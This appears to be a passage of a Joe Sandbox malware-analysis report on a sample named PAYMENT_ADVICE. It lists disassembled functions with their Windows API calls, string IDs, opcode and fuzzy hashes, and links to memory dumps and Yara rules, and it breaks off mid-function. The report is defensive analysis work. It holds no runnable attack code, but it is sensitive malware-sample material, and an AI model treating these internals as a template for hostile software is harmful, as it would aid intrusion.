                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
                                                              • String ID: 0$F
                                                              • API String ID: 176399719-3044882817
                                                              • Opcode ID: c9ff0a714225e88eb7b4ddb7995775d4b4045bc64c5a7e89993d6ca7b141bd83
                                                              • Instruction ID: 197ea64df4543893cb0cb2f54e73674332effbce5606847c29a5af8e52f63b7b
                                                              • Opcode Fuzzy Hash: c9ff0a714225e88eb7b4ddb7995775d4b4045bc64c5a7e89993d6ca7b141bd83
                                                              • Instruction Fuzzy Hash: 50412276A01205AFDB22DF64D988F9ABBB9FB49350F154429FE05A7360D731A910CF90
                                                              Function 003C74BB Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 003C755E
                                                              • CreateCompatibleDC.GDI32(00000000), ref: 003C7565
                                                              • SendMessageW.USER32(?,00000173,00000000,00000000), ref: 003C7578
                                                              • SelectObject.GDI32(00000000,00000000), ref: 003C7580
                                                              • GetPixel.GDI32(00000000,00000000,00000000), ref: 003C758B
                                                              • DeleteDC.GDI32(00000000), ref: 003C7594
                                                              • GetWindowLongW.USER32(?,000000EC), ref: 003C759E
                                                              • SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 003C75B2
                                                              • DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 003C75BE
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
                                                              • String ID: static
                                                              • API String ID: 2559357485-2160076837
                                                              • Opcode ID: 35707571c8a4049822fee9f570a8ef02d74fd7ad13b332d8c5e0d62159997c64
                                                              • Instruction ID: b047481bed092e0247e89491e51342982fa342ec871465ee2714490fde789d12
                                                              • Opcode Fuzzy Hash: 35707571c8a4049822fee9f570a8ef02d74fd7ad13b332d8c5e0d62159997c64
                                                              • Instruction Fuzzy Hash: 28314772104214AFDF129F64DC09FEA3B6EEF0A764F110228FA15E61A0C731EC21DBA4
                                                              Function 00366E03 Relevance: 16.8, APIs: 11, Instructions: 258COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 00366E3E
                                                                • Part of subcall function 00368B28: __getptd_noexit.LIBCMT ref: 00368B28
                                                              • __gmtime64_s.LIBCMT ref: 00366ED7
                                                              • __gmtime64_s.LIBCMT ref: 00366F0D
                                                              • __gmtime64_s.LIBCMT ref: 00366F2A
                                                              • __allrem.LIBCMT ref: 00366F80
                                                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00366F9C
                                                              • __allrem.LIBCMT ref: 00366FB3
                                                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00366FD1
                                                              • __allrem.LIBCMT ref: 00366FE8
                                                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00367006
                                                              • __invoke_watson.LIBCMT ref: 00367077
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
                                                              • String ID:
                                                              • API String ID: 384356119-0
                                                              • Opcode ID: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
                                                              • Instruction ID: 63fe0e407e3f9aab3eab1a28dc02c798cc23de3780d2f8a4bca129e48f47208b
                                                              • Opcode Fuzzy Hash: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
                                                              • Instruction Fuzzy Hash: 0C712776A00717ABD726EF78DC42B6AB3A8AF04364F10C229F514DB285E775ED0087D0
                                                              Function 003A2527 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 003A2542
                                                              • GetMenuItemInfoW.USER32(00405890,000000FF,00000000,00000030), ref: 003A25A3
                                                              • SetMenuItemInfoW.USER32(00405890,00000004,00000000,00000030), ref: 003A25D9
                                                              • Sleep.KERNEL32(000001F4), ref: 003A25EB
                                                              • GetMenuItemCount.USER32(?), ref: 003A262F
                                                              • GetMenuItemID.USER32(?,00000000), ref: 003A264B
                                                              • GetMenuItemID.USER32(?,-00000001), ref: 003A2675
                                                              • GetMenuItemID.USER32(?,?), ref: 003A26BA
                                                              • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 003A2700
                                                              • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 003A2714
                                                              • SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 003A2735
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ItemMenu$Info$CheckCountRadioSleep_memset
                                                              • String ID:
                                                              • API String ID: 4176008265-0
                                                              • Opcode ID: eacb7c5234d182423b62311f994b890ee150f8377103e118a06ed4f75eaea941
                                                              • Instruction ID: b95a47205276f14b23710dedd83759b433c2717eb894ffcb2b8d2a58c8f537c5
                                                              • Opcode Fuzzy Hash: eacb7c5234d182423b62311f994b890ee150f8377103e118a06ed4f75eaea941
                                                              • Instruction Fuzzy Hash: 68617E70901249AFDB13CF68DD88DBFBBB9FB46304F150069E941A7261D771AE05DB21
                                                              Function 003C6F23 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 003C6FA5
                                                              • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 003C6FA8
                                                              • GetWindowLongW.USER32(?,000000F0), ref: 003C6FCC
                                                              • _memset.LIBCMT ref: 003C6FDD
                                                              • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 003C6FEF
                                                              • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 003C7067
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$LongWindow_memset
                                                              • String ID:
                                                              • API String ID: 830647256-0
                                                              • Opcode ID: 075c66e2b664a909f7cf6d3d82a08d62941d820e9db9917ec5f6f3382156b4aa
                                                              • Instruction ID: dbe5d898dfed1ecdeb4e1bf761b0374dd5cb07be4e9d7bb459d2d9923ed2c70c
                                                              • Opcode Fuzzy Hash: 075c66e2b664a909f7cf6d3d82a08d62941d820e9db9917ec5f6f3382156b4aa
                                                              • Instruction Fuzzy Hash: DC612575900208AFDB12DFA4CD81FAE77B8EB09710F14416AFA14EB2A1C771AD51DFA4
                                                              Function 00396B98 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00396BBF
                                                              • SafeArrayAllocData.OLEAUT32(?), ref: 00396C18
                                                              • VariantInit.OLEAUT32(?), ref: 00396C2A
                                                              • SafeArrayAccessData.OLEAUT32(?,?), ref: 00396C4A
                                                              • VariantCopy.OLEAUT32(?,?), ref: 00396C9D
                                                              • SafeArrayUnaccessData.OLEAUT32(?), ref: 00396CB1
                                                              • VariantClear.OLEAUT32(?), ref: 00396CC6
                                                              • SafeArrayDestroyData.OLEAUT32(?), ref: 00396CD3
                                                              • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00396CDC
                                                              • VariantClear.OLEAUT32(?), ref: 00396CEE
                                                              • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00396CF9
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                                              • String ID:
                                                              • API String ID: 2706829360-0
                                                              • Opcode ID: 0dec09fe181b2ef052c1e603d985c41d434d0c30935b3177feb7863866e665c4
                                                              • Instruction ID: 5be6d5ba901adb7eaa02ecac96095fdce9503d7d0304b3853425f9c758982808
                                                              • Opcode Fuzzy Hash: 0dec09fe181b2ef052c1e603d985c41d434d0c30935b3177feb7863866e665c4
                                                              • Instruction Fuzzy Hash: BC415E71A002199FCF06EFA9D845DAEBBB9EF08354F008069F955EB261DB30A945CF90
                                                              Function 003B5732 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • WSAStartup.WSOCK32(00000101,?), ref: 003B5793
                                                              • inet_addr.WSOCK32(?), ref: 003B57D8
                                                              • gethostbyname.WSOCK32(?), ref: 003B57E4
                                                              • IcmpCreateFile.IPHLPAPI ref: 003B57F2
                                                              • IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 003B5862
                                                              • IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 003B5878
                                                              • IcmpCloseHandle.IPHLPAPI(00000000), ref: 003B58ED
                                                              • WSACleanup.WSOCK32 ref: 003B58F3
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
                                                              • String ID: Ping
                                                              • API String ID: 1028309954-2246546115
                                                              • Opcode ID: 26aa56d8bac258a48f600b315318b0aa7e7dc98eaad40108e35aff256385956f
                                                              • Instruction ID: 36628747b76c664398c8cba7019e1e6cd326a5a44e9901fac8e7e1c7e45239e1
                                                              • Opcode Fuzzy Hash: 26aa56d8bac258a48f600b315318b0aa7e7dc98eaad40108e35aff256385956f
                                                              • Instruction Fuzzy Hash: 955171316047009FDB12EF25DC46B6AB7E8EF48714F05492AFA56DB6A1DB70E800DF52
                                                              Function 003AB4C3 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetErrorMode.KERNEL32(00000001), ref: 003AB4D0
                                                              • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 003AB546
                                                              • GetLastError.KERNEL32 ref: 003AB550
                                                              • SetErrorMode.KERNEL32(00000000,READY), ref: 003AB5BD
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Error$Mode$DiskFreeLastSpace
                                                              • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                              • API String ID: 4194297153-14809454
                                                              • Opcode ID: b6f8e34d88b4a5e424b242ebfb3cfb3ae1afd7dc4995968ffc70fbab0e14bd60
                                                              • Instruction ID: 5a170e2afe5cb79cc1f410d4ac8b507a33b49f07de32578dc28d46858039c882
                                                              • Opcode Fuzzy Hash: b6f8e34d88b4a5e424b242ebfb3cfb3ae1afd7dc4995968ffc70fbab0e14bd60
                                                              • Instruction Fuzzy Hash: 83316035E002099FCB16DBA8C845EBEBBB8EF4B310F154166E505DB292DB71AA42CB51
                                                              Function 00398F8F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00347DE1: _memmove.LIBCMT ref: 00347E22
                                                                • Part of subcall function 0039AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0039AABC
                                                              • SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00399014
                                                              • GetDlgCtrlID.USER32 ref: 0039901F
                                                              • GetParent.USER32 ref: 0039903B
                                                              • SendMessageW.USER32(00000000,?,00000111,?), ref: 0039903E
                                                              • GetDlgCtrlID.USER32(?), ref: 00399047
                                                              • GetParent.USER32(?), ref: 00399063
                                                              • SendMessageW.USER32(00000000,?,?,00000111), ref: 00399066
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$CtrlParent$ClassName_memmove
                                                              • String ID: ComboBox$ListBox
                                                              • API String ID: 1536045017-1403004172
                                                              • Opcode ID: 028bcc1afa895cf7558a128a14ce5fe5208b21f52ddda1d60f0377bf9b0ba568
                                                              • Instruction ID: 88f8004a481a7719fa3215d966ffea81ec4db5a320d420626277568bf7e54843
                                                              • Opcode Fuzzy Hash: 028bcc1afa895cf7558a128a14ce5fe5208b21f52ddda1d60f0377bf9b0ba568
                                                              • Instruction Fuzzy Hash: 65219B75E00108BFDF06ABA4CC85EFEB7B9EF49310F10415AF5619B2A1DB755825DB20
                                                              Function 0039907A Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00347DE1: _memmove.LIBCMT ref: 00347E22
                                                                • Part of subcall function 0039AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0039AABC
                                                              • SendMessageW.USER32(?,00000186,00000002,00000000), ref: 003990FD
                                                              • GetDlgCtrlID.USER32 ref: 00399108
                                                              • GetParent.USER32 ref: 00399124
                                                              • SendMessageW.USER32(00000000,?,00000111,?), ref: 00399127
                                                              • GetDlgCtrlID.USER32(?), ref: 00399130
                                                              • GetParent.USER32(?), ref: 0039914C
                                                              • SendMessageW.USER32(00000000,?,?,00000111), ref: 0039914F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$CtrlParent$ClassName_memmove
                                                              • String ID: ComboBox$ListBox
                                                              • API String ID: 1536045017-1403004172
                                                              • Opcode ID: d9f9c754aded1eed0e0b049011167e0a2afef0ffcccd79c83c0ac35501a48a4d
                                                              • Instruction ID: d533b781a16a531ce7c48b61d68e13a2f4a44f2f6cd4130a96457888641bf104
                                                              • Opcode Fuzzy Hash: d9f9c754aded1eed0e0b049011167e0a2afef0ffcccd79c83c0ac35501a48a4d
                                                              • Instruction Fuzzy Hash: 1621B675A00109BFDF02ABA4CC85EFEBBB9EF49300F10411AF5519B3A2DB755815DB21
                                                              Function 00399163 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetParent.USER32 ref: 0039916F
                                                              • GetClassNameW.USER32(00000000,?,00000100), ref: 00399184
                                                              • _wcscmp.LIBCMT ref: 00399196
                                                              • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00399211
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ClassMessageNameParentSend_wcscmp
                                                              • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                              • API String ID: 1704125052-3381328864
                                                              • Opcode ID: 47e2321728f7c5905ccca153fb94f611036dee6de87c5ca409acf2ebb4c37486
                                                              • Instruction ID: 958137ad29088aa597d343349a24efbb244c0353144134d7e801d2812c651800
                                                              • Opcode Fuzzy Hash: 47e2321728f7c5905ccca153fb94f611036dee6de87c5ca409acf2ebb4c37486
                                                              • Instruction Fuzzy Hash: 3311CA3A24870BB9FE232728DC06EF7379C9B15760B21442BFA00E54D6EFA268615A54
                                                              Function 003A7990 Relevance: 15.3, APIs: 10, Instructions: 292COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 003A7A6C
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ArraySafeVartype
                                                              • String ID:
                                                              • API String ID: 1725837607-0
                                                              • Opcode ID: eeddc92b8b88496793ef83f4026bf5168d7250c5779902f4a325c131e0a975f4
                                                              • Instruction ID: 9ec6aa3c4f5a3f4968195dc38e9f37546e79b260b056a7e05e5c3a3dcff87197
                                                              • Opcode Fuzzy Hash: eeddc92b8b88496793ef83f4026bf5168d7250c5779902f4a325c131e0a975f4
                                                              • Instruction Fuzzy Hash: 4EB16C71A0421A9FDB12DFA4CCC5BBEB7B9EF0A321F254429E541EB251D734E941CBA0
                                                              Function 003A11CE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCurrentThreadId.KERNEL32 ref: 003A11F0
                                                              • GetForegroundWindow.USER32(00000000,?,?,?,?,?,003A0268,?,00000001), ref: 003A1204
